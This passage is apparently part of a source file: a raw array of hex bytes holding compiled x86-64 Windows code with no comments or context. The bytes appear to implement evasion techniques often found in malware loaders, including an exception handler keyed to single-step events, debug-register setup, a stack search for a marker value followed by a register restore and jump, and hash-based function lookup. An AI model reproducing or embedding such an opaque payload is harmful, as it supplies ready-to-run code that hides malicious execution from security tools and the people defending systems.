A,0x1E,0x00,0x00,0x48,0x8D,0x05,0x1D,0xE8,0x00,0x00,0x48,0x89,0xC1,0xE8,0xFB,0x1D,0x00,0x00,0xE9,0x7E,0x03,0x00,0x00,0x8B,0x95,0x7C,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0xB8,0x48,0x89,0xC1,0xE8,0x36,0xF8,0xFF,0xFF,0x8B,0x45,0x8C,0x0F,0xAF,0x45,0x9C,0x89,0xC3,0x48,0x8B,0x05,0x34,0x69,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x30,0x69,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xD0,0x48,0x83,0x7D,0xD0,0x00,0x0F,0x84,0x30,0x03,0x00,0x00,0x8B,0x45,0x8C,0x48,0x01,0x45,0xF0,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xEB,0x40,0x8B,0x45,0xCC,0x48,0x98,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0xB8,0x48,0x01,0xD0,0x8B,0x80,0x40,0x07,0x00,0x00,0x85,0xC0,0x74,0x1F,0x8B,0x45,0xCC,0x48,0x98,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0xB8,0x48,0x01,0xD0,0x8B,0x80,0x1C,0x05,0x00,0x00,0x89,0xC0,0x48,0x01,0x45,0xF0,0x83,0x45,0xCC,0x01,0x8B,0x55,0xCC,0x8B,0x85,0x7C,0xFF,0xFF,0xFF,0x39,0xC2,0x72,0xB3,0x8B,0x45,0x8C,0x48,0x01,0x45,0xF0,0x8B,0x45,0x8C,0x48,0x01,0x45,0xF0,0x8B,0x45,0x8C,0x48,0x23,0x45,0xF0,0x48,0x89,0xC2,0x8B,0x45,0x8C,0x48,0x39,0xC2,0x75,0x0A,0x8B,0x45,0x8C,0x01,0xC0,0x89,0x45,0xDC,0xEB,0x06,0x8B,0x45,0x8C,0x89,0x45,0xDC,0x8B,0x45,0xDC,0x48,0x01,0x45,0xF0,0x48,0x8B,0x05,0x74,0x68,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x6C,0x68,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE0,0x48,0x83,0x7D,0xE0,0x00,0x0F,0x84,0x6F,0x02,0x00,0x00,0x48,0x8B,0x05,0x44,0x68,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xA0,0x49,0x89,0xD0,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x3C,0x68,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x0F,0x84,0x42,0x02,0x00,0x00,0x48,0x8B,0x55,0xA8,0x48,0x8B,0x45,0xA0,0x48,0x01,0xD0,0x48,0x2B,0x45,0xF0,0x48,0x89,0x45,0xB0,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xEB,0x64,0x8B,0x45,0xC8,0x48,0x98,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0xB8,0x48,0x01,0xD0,0x8B,0x80,0x40,0x07,0x00,0x00,0x85,0xC0,0x74,0x43,0x8B,0x45,0xC8,0x48,0x98,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0xB8,0x48,0x01,0xD0,0x48,0x8B,0x80,0x28,0x05,0x00,0x00,0x48,0x85,0xC0,0x74,0x24,0x8B,0x45,0xC8,0x48,0x98,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0xB8,0x48,0x01,0xD0,0x48,0x8B,0x90,0x28,0x05,0x00,0x00,0x48,0x8B,0x45,0x20,0x48,0x89,0x50,0x48,0xEB,0x11,0x83,0x45,0xC8,0x01,0x8B,0x55,0xC8,0x8B,0x85,0x7C,0xFF,0xFF,0xFF,0x39,0xC2,0x72,0x8F,0x48,0x8B,0x45,0x20,0x48,0x8B,0x55,0xA8,0x48,0x89,0x10,0x48,0x8B,0x45,0x20,0x48,0x8B,0x55,0xA0,0x48,0x89,0x50,0x08,0x48,0x8B,0x45,0x20,0x48,0x8B,0x55,0xE8,0x48,0x89,0x50,0x10,0x48,0x8B,0x45,0x20,0x48,0x8B,0x55,0xE0,0x48,0x89,0x50,0x18,0x48,0x8B,0x45,0x20,0x48,0x8B,0x55,0xF0,0x48,0x89,0x50,0x20,0x48,0x8B,0x45,0x20,0x48,0x8B,0x55,0xB0,0x48,0x89,0x50,0x28,0x48,0x8B,0x45,0x20,0x48,0x8B,0x40,0x18,0x48,0x89,0xC2,0x48,0x8B,0x45,0x20,0x48,0x8B,0x40,0x20,0x48,0x01,0xD0,0x48,0x89,0xC2,0x48,0x8B,0x45,0x20,0x48,0x89,0x50,0x30,0x48,0x8B,0x45,0x20,0x48,0x8B,0x55,0xD0,0x48,0x89,0x50,0x50,0x48,0x8B,0x45,0x20,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x8B,0x45,0xDC,0x48,0x29,0xC2,0x48,0x8B,0x45,0x20,0x48,0x89,0x50,0x30,0x48,0x8B,0x45,0x20,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x8B,0x45,0x8C,0x48,0x29,0xC2,0x48,0x8B,0x45,0x20,0x48,0x89,0x50,0x30,0x48,0x8B,0x45,0x20,0x48,0x8B,0x40,0x30,0x48,0x8B,0x55,0xD0,0x48,0x89,0x10,0x48,0x8B,0x45,0x20,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x8B,0x45,0x8C,0x48,0x29,0xC2,0x48,0x8B,0x45,0x20,0x48,0x89,0x50,0x30,0x48,0x8B,0x45,0x20,0x48,0x8B,0x40,0x30,0x48,0x8B,0x55,0x80,0x48,0x89,0x10,0x48,0x8B,0x45,0x20,0x48,0x8B,0x50,0x30,0x48,0x8B,0x45,0x20,0x48,0x89,0x50,0x40,0x8B,0x95,0x7C,0xFF,0xFF,0xFF,0x48,0x8B,0x4D,0x20,0x48,0x8B,0x45,0xB8,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x54,0xF6,0xFF,0xFF,0x48,0x8B,0x45,0x20,0x48,0x8B,0x50,0x30,0x48,0x8B,0x45,0x20,0x48,0x89,0xC1,0xE8,0xE4,0xE7,0xFF,0xFF,0x48,0x8B,0x55,0x20,0x48,0x89,0x42,0x30,0x48,0x8B,0x45,0x20,0x48,0x8B,0x50,0x38,0x48,0x8B,0x45,0x20,0x48,0x89,0xC1,0xE8,0xC8,0xE7,0xFF,0xFF,0x48,0x8B,0x55,0x20,0x48,0x89,0x42,0x38,0x48,0x8B,0x45,0x20,0x48,0x8B,0x50,0x40,0x48,0x8B,0x45,0x20,0x48,0x89,0xC1,0xE8,0xAC,0xE7,0xFF,0xFF,0x48,0x8B,0x55,0x20,0x48,0x89,0x42,0x40,0xC7,0x45,0xC4,0x01,0x00,0x00,0x00,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0xEB,0x2C,0x8B,0x45,0xC0,0x48,0x98,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0xB8,0x48,0x01,0xD0,0x8B,0x80,0x40,0x07,0x00,0x00,0x85,0xC0,0x74,0x0B,0x83,0x7D,0xC4,0x00,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0x83,0x45,0xC0,0x01,0x8B,0x55,0xC0,0x8B,0x85,0x7C,0xFF,0xFF,0xFF,0x39,0xC2,0x72,0xC7,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xFC,0x00,0x75,0x28,0x48,0x83,0x7D,0xE0,0x00,0x74,0x21,0x48,0x8B,0x05,0xC4,0x65,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xC4,0x65,0x01,0x00,0xFF,0xD0,0x83,0x7D,0xFC,0x00,0x75,0x28,0x48,0x83,0x7D,0xE8,0x00,0x74,0x21,0x48,0x8B,0x05,0x96,0x65,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x96,0x65,0x01,0x00,0xFF,0xD0,0x83,0x7D,0xFC,0x00,0x75,0x28,0x48,0x83,0x7D,0xD0,0x00,0x74,0x21,0x48,0x8B,0x05,0x68,0x65,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xD0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x68,0x65,0x01,0x00,0xFF,0xD0,0x48,0x83,0x7D,0xB8,0x00,0x74,0x21,0x48,0x8B,0x05,0x40,0x65,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xB8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x40,0x65,0x01,0x00,0xFF,0xD0,0x8B,0x45,0xFC,0x48,0x81,0xC4,0xB8,0x00,0x00,0x00,0x5B,0x5D,0xC3,0x41,0x5B,0x48,0x31,0xC0,0x48,0x8B,0x51,0x08,0x4C,0x8B,0x41,0x10,0x4C,0x8B,0x09,0x45,0x8A,0x14,0x01,0x45,0x88,0x14,0x00,0x48,0xFF,0xC0,0x48,0x39,0xD0,0x75,0xF0,0x48,0x31,0xC0,0x4C,0x8B,0x41,0x18,0x4C,0x8B,0x49,0x28,0x48,0x8B,0x51,0x20,0x45,0x8A,0x14,0x00,0x45,0x88,0x14,0x01,0x48,0xFF,0xC0,0x48,0x39,0xD0,0x75,0xF0,0x48,0x8B,0x41,0x40,0x48,0x8B,0x40,0x08,0x48,0x8B,0x51,0x08,0x48,0x89,0x10,0x48,0x8B,0x51,0x10,0x48,0x89,0x50,0x08,0x48,0x8B,0x11,0x48,0x89,0x50,0x10,0x48,0x89,0x58,0x18,0x48,0x89,0x68,0x20,0x48,0x89,0x60,0x28,0x4C,0x89,0x58,0x30,0x48,0x31,0xC0,0x8B,0x41,0x5C,0x49,0x89,0xCA,0x83,0xF8,0x01,0x7C,0x3A,0x49,0x8B,0x4A,0x60,0x83,0xF8,0x02,0x7C,0x31,0x49,0x8B,0x52,0x68,0x83,0xF8,0x03,0x7C,0x28,0x4D,0x8B,0x42,0x70,0x83,0xF8,0x04,0x7C,0x1F,0x4D,0x8B,0x4A,0x78,0x83,0xE8,0x04,0x49,0x8B,0x6A,0x30,0x83,0xF8,0x01,0x7C,0x0F,0x49,0x8B,0x5C,0xC2,0x78,0x48,0x89,0x5C,0xC5,0x20,0x48,0xFF,0xC8,0xEB,0xEC,0x49,0x8B,0x62,0x30,0x49,0x8B,0x6A,0x38,0x41,0x8B,0x42,0x50,0x4D,0x8B,0x5A,0x48,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x55,0x57,0x53,0x48,0x81,0xEC,0xC0,0x00,0x00,0x00,0x48,0x8D,0xAC,0x24,0xC0,0x00,0x00,0x00,0x89,0x4D,0x20,0x89,0x55,0x28,0x4C,0x89,0x45,0x30,0x4C,0x89,0x4D,0x38,0xC7,0x45,0xFC,0x01,0x00,0x00,0xC0,0x48,0x8D,0x95,0x70,0xFF,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x0B,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x68,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0x30,0x48,0x89,0x85,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0x20,0x89,0xC1,0xE8,0xF1,0x76,0x00,0x00,0x48,0x89,0x45,0xD8,0x48,0x83,0x7D,0xD8,0x00,0x0F,0x84,0x95,0x01,0x00,0x00,0x8B,0x45,0x20,0x89,0xC1,0xE8,0x7C,0x76,0x00,0x00,0x89,0x45,0xD4,0x83,0x7D,0xD4,0x00,0x0F,0x84,0x81,0x01,0x00,0x00,0x8B,0x55,0x20,0x48,0x8D,0x85,0x70,0xFF,0xFF,0xFF,0x48,0x89,0xC1,0xE8,0xE1,0xF8,0xFF,0xFF,0x89,0x45,0xD0,0x83,0x7D,0xD0,0x00,0x0F,0x84,0x65,0x01,0x00,0x00,0x48,0x8B,0x45,0xB8,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x75,0x0C,0x48,0x8B,0x45,0xD8,0x48,0x83,0xC0,0x02,0x48,0x89,0x45,0xF0,0x48,0x8D,0x95,0x68,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0xB5,0x06,0x00,0x00,0x89,0x45,0xD0,0x83,0x7D,0xD0,0x00,0x0F,0x84,0x2D,0x01,0x00,0x00,0x48,0x8B,0x05,0x40,0x63,0x01,0x00,0xFF,0xD0,0x41,0xB8,0xB0,0x00,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x39,0x63,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x0F,0x84,0x01,0x01,0x00,0x00,0x48,0x8B,0x95,0x70,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0xE8,0x48,0x89,0x10,0x48,0x8B,0x95,0x78,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0xE8,0x48,0x89,0x50,0x08,0x48,0x8B,0x55,0x80,0x48,0x8B,0x45,0xE8,0x48,0x89,0x50,0x10,0x48,0x8B,0x55,0x88,0x48,0x8B,0x45,0xE8,0x48,0x89,0x50,0x18,0x48,0x8B,0x55,0x90,0x48,0x8B,0x45,0xE8,0x48,0x89,0x50,0x20,0x48,0x8B,0x55,0x98,0x48,0x8B,0x45,0xE8,0x48,0x89,0x50,0x28,0x48,0x8B,0x55,0xA0,0x48,0x8B,0x45,0xE8,0x48,0x89,0x50,0x30,0x48,0x8B,0x55,0xA8,0x48,0x8B,0x45,0xE8,0x48,0x89,0x50,0x38,0x48,0x8B,0x55,0xB0,0x48,0x8B,0x45,0xE8,0x48,0x89,0x50,0x40,0x48,0x8B,0x45,0xE8,0xC7,0x40,0x54,0x00,0x00,0x00,0x00,0xE8,0x2F,0x76,0x00,0x00,0x48,0x8B,0x55,0xE8,0x89,0x42,0x58,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x55,0xD8,0x48,0x89,0x50,0x48,0x48,0x8B,0x45,0xE8,0x8B,0x55,0xD4,0x89,0x50,0x50,0x48,0x8B,0x45,0xE8,0x8B,0x55,0x28,0x89,0x50,0x5C,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xEB,0x2B,0x48,0x8B,0x85,0x60,0xFF,0xFF,0xFF,0x48,0x8D,0x50,0x08,0x48,0x89,0x95,0x60,0xFF,0xFF,0xFF,0x48,0x8B,0x10,0x48,0x8B,0x45,0xE8,0x8B,0x4D,0xE4,0x48,0x63,0xC9,0x48,0x83,0xC1,0x0C,0x48,0x89,0x14,0xC8,0x83,0x45,0xE4,0x01,0x8B,0x45,0xE4,0x3B,0x45,0x28,0x72,0xCD,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0xE8,0x0F,0xFD,0xFF,0xFF,0x89,0x45,0xFC,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xE8,0x00,0x74,0x21,0x48,0x8B,0x05,0x08,0x62,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x08,0x62,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x45,0x80,0x48,0x85,0xC0,0x74,0x21,0x48,0x8B,0x5D,0x80,0x48,0x8B,0x05,0xDA,0x61,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xDE,0x61,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x45,0x88,0x48,0x85,0xC0,0x74,0x21,0x48,0x8B,0x5D,0x88,0x48,0x8B,0x05,0xB0,0x61,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xB4,0x61,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x45,0xC0,0x48,0x85,0xC0,0x74,0x21,0x48,0x8B,0x5D,0xC0,0x48,0x8B,0x05,0x86,0x61,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x8A,0x61,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x85,0x68,0xFF,0xFF,0xFF,0x48,0x85,0xC0,0x74,0x0F,0x48,0x8B,0x85,0x68,0xFF,0xFF,0xFF,0x48,0x89,0xC1,0xE8,0x27,0x06,0x00,0x00,0x8B,0x45,0xFC,0x48,0x81,0xC4,0xC0,0x00,0x00,0x00,0x5B,0x5F,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x60,0x89,0x4D,0x10,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0xC7,0x45,0xF4,0x01,0x00,0x00,0xC0,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0x8B,0x05,0x1F,0x61,0x01,0x00,0xFF,0xD0,0x41,0xB8,0x08,0x00,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x18,0x61,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE8,0x48,0x8B,0x05,0xFB,0x60,0x01,0x00,0xFF,0xD0,0x41,0xB8,0x30,0x00,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xF4,0x60,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE0,0x48,0x8B,0x05,0xD7,0x60,0x01,0x00,0xFF,0xD0,0x41,0xB8,0x10,0x00,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xD0,0x60,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xD8,0x48,0x83,0x7D,0xE8,0x00,0x74,0x0E,0x48,0x83,0x7D,0xE0,0x00,0x74,0x07,0x48,0x83,0x7D,0xD8,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x8B,0x01,0x00,0x00,0x48,0x8B,0x45,0xE8,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xE0,0xC7,0x00,0x30,0x00,0x00,0x00,0x48,0x8B,0x45,0xE0,0x48,0xC7,0x40,0x08,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xE0,0x8B,0x55,0x20,0x89,0x50,0x18,0x48,0x8B,0x45,0xE0,0x48,0xC7,0x40,0x10,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xE0,0x48,0xC7,0x40,0x20,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xE0,0x48,0xC7,0x40,0x28,0x00,0x00,0x00,0x00,0x8B,0x45,0x10,0x48,0x89,0xC2,0x48,0x8B,0x45,0xD8,0x48,0x89,0x10,0x48,0x8B,0x45,0xD8,0x48,0xC7,0x40,0x08,0x00,0x00,0x00,0x00,0x8B,0x4D,0x18,0x48,0x8B,0x55,0xE8,0x48,0x8B,0x45,0xD8,0x48,0x89,0x44,0x24,0x28,0x48,0x8B,0x45,0xE0,0x48,0x89,0x44,0x24,0x20,0x41,0x89,0xC9,0x49,0x89,0xD0,0xBA,0x04,0x00,0x00,0x00,0xB9,0x0F,0x2A,0x9B,0xCD,0xE8,0xBA,0xFB,0xFF,0xFF,0x89,0x45,0xF4,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x83,0x7D,0xF4,0x00,0x79,0x08,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0xE8,0x00,0x74,0x40,0x48,0x8B,0x45,0xE8,0x41,0xB8,0x08,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD3,0xBD,0x00,0x00,0x48,0x8B,0x05,0xC4,0x5F,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xC4,0x5F,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0xE0,0x00,0x74,0x40,0x48,0x8B,0x45,0xE0,0x41,0xB8,0x30,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x8C,0xBD,0x00,0x00,0x48,0x8B,0x05,0x7D,0x5F,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x7D,0x5F,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0xD8,0x00,0x74,0x40,0x48,0x8B,0x45,0xD8,0x41,0xB8,0x10,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x45,0xBD,0x00,0x00,0x48,0x8B,0x05,0x36,0x5F,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xD8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x36,0x5F,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x83,0xC4,0x60,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x10,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x4C,0x89,0x4D,0x28,0x8B,0x45,0x20,0xBA,0x01,0x00,0x00,0x00,0x89,0xC1,0xD3,0xE2,0x89,0xD0,0x83,0xE8,0x01,0x89,0xC0,0x48,0x89,0x45,0xF8,0x8B,0x45,0x18,0x48,0x8B,0x55,0xF8,0x89,0xC1,0x48,0xD3,0xE2,0x48,0x89,0xD0,0x48,0xF7,0xD0,0x48,0x23,0x45,0x10,0x48,0x89,0xC2,0x8B,0x45,0x18,0x4C,0x8B,0x45,0x28,0x89,0xC1,0x49,0xD3,0xE0,0x4C,0x89,0xC0,0x48,0x09,0xD0,0x48,0x89,0x45,0x10,0x48,0x8B,0x45,0x10,0x48,0x83,0xC4,0x10,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x83,0x7D,0x18,0x03,0x74,0x4A,0x83,0x7D,0x18,0x03,0x7F,0x51,0x83,0x7D,0x18,0x02,0x74,0x30,0x83,0x7D,0x18,0x02,0x7F,0x45,0x83,0x7D,0x18,0x00,0x74,0x08,0x83,0x7D,0x18,0x01,0x74,0x10,0xEB,0x37,0x48,0x8B,0x45,0x10,0x48,0xC7,0x40,0x48,0x00,0x00,0x00,0x00,0xEB,0x29,0x48,0x8B,0x45,0x10,0x48,0xC7,0x40,0x50,0x00,0x00,0x00,0x00,0xEB,0x1B,0x48,0x8B,0x45,0x10,0x48,0xC7,0x40,0x58,0x00,0x00,0x00,0x00,0xEB,0x0D,0x48,0x8B,0x45,0x10,0x48,0xC7,0x40,0x60,0x00,0x00,0x00,0x00,0x90,0x8B,0x45,0x18,0x8D,0x14,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x70,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x01,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x0B,0xFF,0xFF,0xFF,0x48,0x8B,0x55,0x10,0x48,0x89,0x42,0x70,0x48,0x8B,0x45,0x10,0x48,0xC7,0x40,0x68,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0xC7,0x40,0x44,0x00,0x00,0x00,0x00,0x90,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x83,0x7D,0x20,0x03,0x74,0x4A,0x83,0x7D,0x20,0x03,0x7F,0x51,0x83,0x7D,0x20,0x02,0x74,0x30,0x83,0x7D,0x20,0x02,0x7F,0x45,0x83,0x7D,0x20,0x00,0x74,0x08,0x83,0x7D,0x20,0x01,0x74,0x10,0xEB,0x37,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0x89,0x50,0x48,0xEB,0x29,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0x89,0x50,0x50,0xEB,0x1B,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0x89,0x50,0x58,0xEB,0x0D,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0x89,0x50,0x60,0x90,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x70,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x10,0x00,0x00,0x00,0xBA,0x10,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x53,0xFE,0xFF,0xFF,0x48,0x8B,0x55,0x10,0x48,0x89,0x42,0x70,0x8B,0x45,0x20,0x8D,0x14,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x70,0x41,0xB9,0x01,0x00,0x00,0x00,0x41,0xB8,0x01,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x29,0xFE,0xFF,0xFF,0x48,0x8B,0x55,0x10,0x48,0x89,0x42,0x70,0x48,0x8B,0x45,0x10,0x48,0xC7,0x40,0x68,0x00,0x00,0x00,0x00,0x90,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x48,0x8B,0x01,0x8B,0x00,0x3D,0x04,0x00,0x00,0x80,0x75,0x5A,0x48,0x89,0xC8,0x48,0x8B,0x48,0x08,0x48,0x8B,0x41,0x78,0x4C,0x8B,0x99,0x98,0x00,0x00,0x00,0x49,0xB9,0xBE,0xBA,0xFE,0xCA,0xEF,0xBE,0xAD,0xDE,0x49,0x83,0xC3,0x08,0x4D,0x39,0x0B,0x75,0xF7,0x4D,0x8B,0x5B,0x08,0x49,0x8B,0x0B,0x49,0x8B,0x53,0x08,0x4D,0x8B,0x4B,0x10,0x49,0x8B,0x5B,0x18,0x49,0x8B,0x6B,0x20,0x49,0x8B,0x63,0x28,0x4D,0x8B,0x43,0x30,0x4D,0x31,0xDB,0x46,0x8A,0x14,0x1A,0x47,0x88,0x14,0x19,0x49,0xFF,0xC3,0x49,0x39,0xCB,0x75,0xF0,0x41,0xFF,0xE0,0xB8,0xFF,0xFF,0xFF,0xFF,0xC3,0x90,0x0F,0x0B,0x55,0x57,0x48,0x81,0xEC,0x18,0x05,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0xB0,0x04,0x00,0x00,0x48,0x89,0x95,0xB8,0x04,0x00,0x00,0xC7,0x85,0x8C,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0x88,0x04,0x00,0x00,0x01,0x00,0x00,0xC0,0x48,0xC7,0x85,0x80,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xA0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x9A,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0x8D,0x45,0xA0,0x41,0xB8,0xD0,0x04,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x3E,0xBA,0x00,0x00,0xC7,0x45,0xD0,0x1F,0x00,0x10,0x00,0x48,0xC7,0x85,0x78,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x28,0xDB,0x00,0x00,0x48,0x89,0xC1,0xE8,0x85,0x33,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x1D,0xB1,0x9D,0xA7,0x48,0x89,0xC1,0xE8,0x93,0x31,0x00,0x00,0x48,0x89,0x85,0x78,0x04,0x00,0x00,0x48,0x83,0xBD,0x78,0x04,0x00,